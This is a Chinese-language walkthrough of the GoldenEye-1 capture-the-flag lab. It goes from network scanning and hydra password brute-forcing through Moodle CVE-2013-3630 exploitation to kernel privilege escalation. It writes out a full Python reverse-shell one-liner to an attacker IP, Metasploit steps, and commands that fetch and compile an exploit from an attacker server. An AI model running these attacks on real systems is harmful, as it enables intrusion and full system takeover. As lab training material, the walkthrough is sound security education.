GoldenEye-1 靶场渗透测试教学文档
靶场概述
GoldenEye-1 是一个中级难度的 CTF 靶场,运行在 VirtualBox 上,目标是获取 root 权限并找到 flag.txt 文件。
基本信息:
- 发布日期:2018年5月4日
- 难度:中级
- 运行环境:VirtualBox(桥接网络)
- 目标系统:Ubuntu
- Web服务器:Apache 2.4.7
- CMS:Moodle 2.2.3
信息收集阶段
1. 目标识别
使用 nmap 扫描本地网络,识别目标 IP:
nmap -sP 192.168.1.0/24 | grep -B 2 -A 0 "VirtualBox"
或通过开放端口过滤:
nmap -sS -p80 192.168.1.0/24 | grep -B 4 -A 1 "80/tcp open"
发现目标 IP:192.168.1.169
2. 端口扫描
全面扫描目标开放端口:
nmap -sV 192.168.1.169
发现以下开放服务:
- 25/tcp:SMTP (Postfix)
- 80/tcp:HTTP (Apache 2.4.7)
- 55006/tcp:SSL/未知服务
- 55007/tcp:POP3 (Dovecot)
3. Web 应用信息收集
3.1 初始网站分析
访问 http://192.168.1.169 发现主页面,提示访问 /sev-home/
3.2 登录页面分析
访问 http://192.168.1.169/sev-home/ 需要登录,查看页面源码发现 terminal.js
从 terminal.js 获取信息:
- 用户名:Boris、Natalya
- 密码:InvincibleHack3r(通过HTML实体编码解密得到)
登录尝试:
- 用户名:boris(全小写)
- 密码:InvincibleHack3r
3.3 POP3 服务利用
根据提示转向POP3服务(端口55007)
收集到的用户名:
- Natalya
- Boris
使用 hydra 爆破POP3密码:
hydra 192.168.1.169 -s 55007 pop3 -L user.txt -P /usr/share/wordlists/fasttrack.txt -v
获得凭证:
- natalya:bird
- boris:secret1!
3.4 邮箱信息收集
使用 nc 连接POP3服务查看邮件:
nc 192.168.1.169 55007
重要发现:
- 用户名:alec
- 网站凭证:xenia/RCP90rulez!
- 内部域名:severnaya-station.com
- 重要路径:/gnocertdir
3.5 域名解析配置
编辑 /etc/hosts 添加:
192.168.1.169 severnaya-station.com
3.6 访问内部网站
访问 http://severnaya-station.com/gnocertdir
使用凭证 xenia/RCP90rulez! 登录
发现新用户 doak 和 Moodle 2.2.3 CMS 信息
3.7 爆破 doak 的POP3密码
hydra 192.168.1.169 -s 55007 pop3 -l "doak" -P /usr/share/wordlists/fasttrack.txt -v
获得密码:goat
3.8 查看 doak 的邮件
发现新凭证:
- 用户名:dr_doak
- 密码:4England!
3.9 深入挖掘
登录 dr_doak 账户,在"My private files"中找到 s3cret.txt,提示:
- 重要路径:/dir007key/for-007.jpg
- 使用 strings 或 exiftool 分析图片
图片分析:
strings for-007.jpg
发现 base64 编码:eFdpbnRlcjE5OTV4IQ==
解码得到:xWinter1995x!
3.10 获取管理员权限
使用 admin/xWinter1995x! 登录
漏洞利用阶段
1. Moodle 远程命令执行漏洞 (CVE-2013-3630)
1.1 手工利用
-
修改拼写检查设置:
- 路径:Settings > Site administration > Plugins > Text editors > TinyMCE HTML editor
- 将 Google Spell 改为 PSpellShell
-
设置命令执行路径:
- 路径:Settings > Site administration > Server > System paths > Path to aspell
- 输入反弹shell命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
触发执行:
- 新建博客文章,输入任意文本,点击"Toggle Spellchecker"
-
获取交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")'
1.2 Metasploit 利用
使用 Kali 2018.2 的 Metasploit v4.16.48-dev(高版本可能失败)
msf > use exploit/multi/http/moodle_cmd_exec
msf exploit(multi/http/moodle_cmd_exec) > set PASSWORD xWinter1995x!
msf exploit(multi/http/moodle_cmd_exec) > set RHOST severnaya-station.com
msf exploit(multi/http/moodle_cmd_exec) > set TARGETURI /gnocertdir
msf exploit(multi/http/moodle_cmd_exec) > run
权限提升阶段
1. 系统信息收集
whoami # www-data
uname -a # Linux ubuntu 3.13.0-32-generic
2. 内核漏洞利用
搜索适用于 Linux 3.13.0 的提权漏洞:
searchsploit Linux ubuntu 3.13.0
发现 37292.c(Dirty COW 变种)
3. 编译和执行EXP
- 在攻击机搭建HTTP服务:
python3 -m http.server 8000
- 在目标机下载并编译:
cd /tmp
wget http://攻击者IP:8000/37292.c
cc 37292.c -o exp # 注意将源码中的gcc改为cc
chmod +x exp
./exp
- 验证提权:
whoami # 现在应该是root
获取Flag
根据提示查找flag:
cat /path/to/flag.txt
发现MD5值:568628e0d993b1973adc718237da6e93
解密得到:006
访问路径:/006-final/xvf7-flag/
获取最终flag
关键知识点总结
-
信息收集技巧:
- 多角度扫描(IP、端口、服务)
- 源码分析(HTML注释、JS文件)
- 图片隐写分析(strings、exiftool)
-
凭证获取方法:
- 密码爆破(hydra)
- 邮箱信息挖掘
- 编码转换(HTML实体、Base64)
-
漏洞利用要点:
- Moodle CVE-2013-3630 需要修改拼写检查设置
- 反弹shell命令构造
- 低版本Metasploit更稳定
-
提权技巧:
- 内核版本识别
- Dirty COW 漏洞利用
- 编译器替代方案(gcc → cc)
-
综合技巧:
- 主机文件修改
- 内部域名发现
- 信息关联分析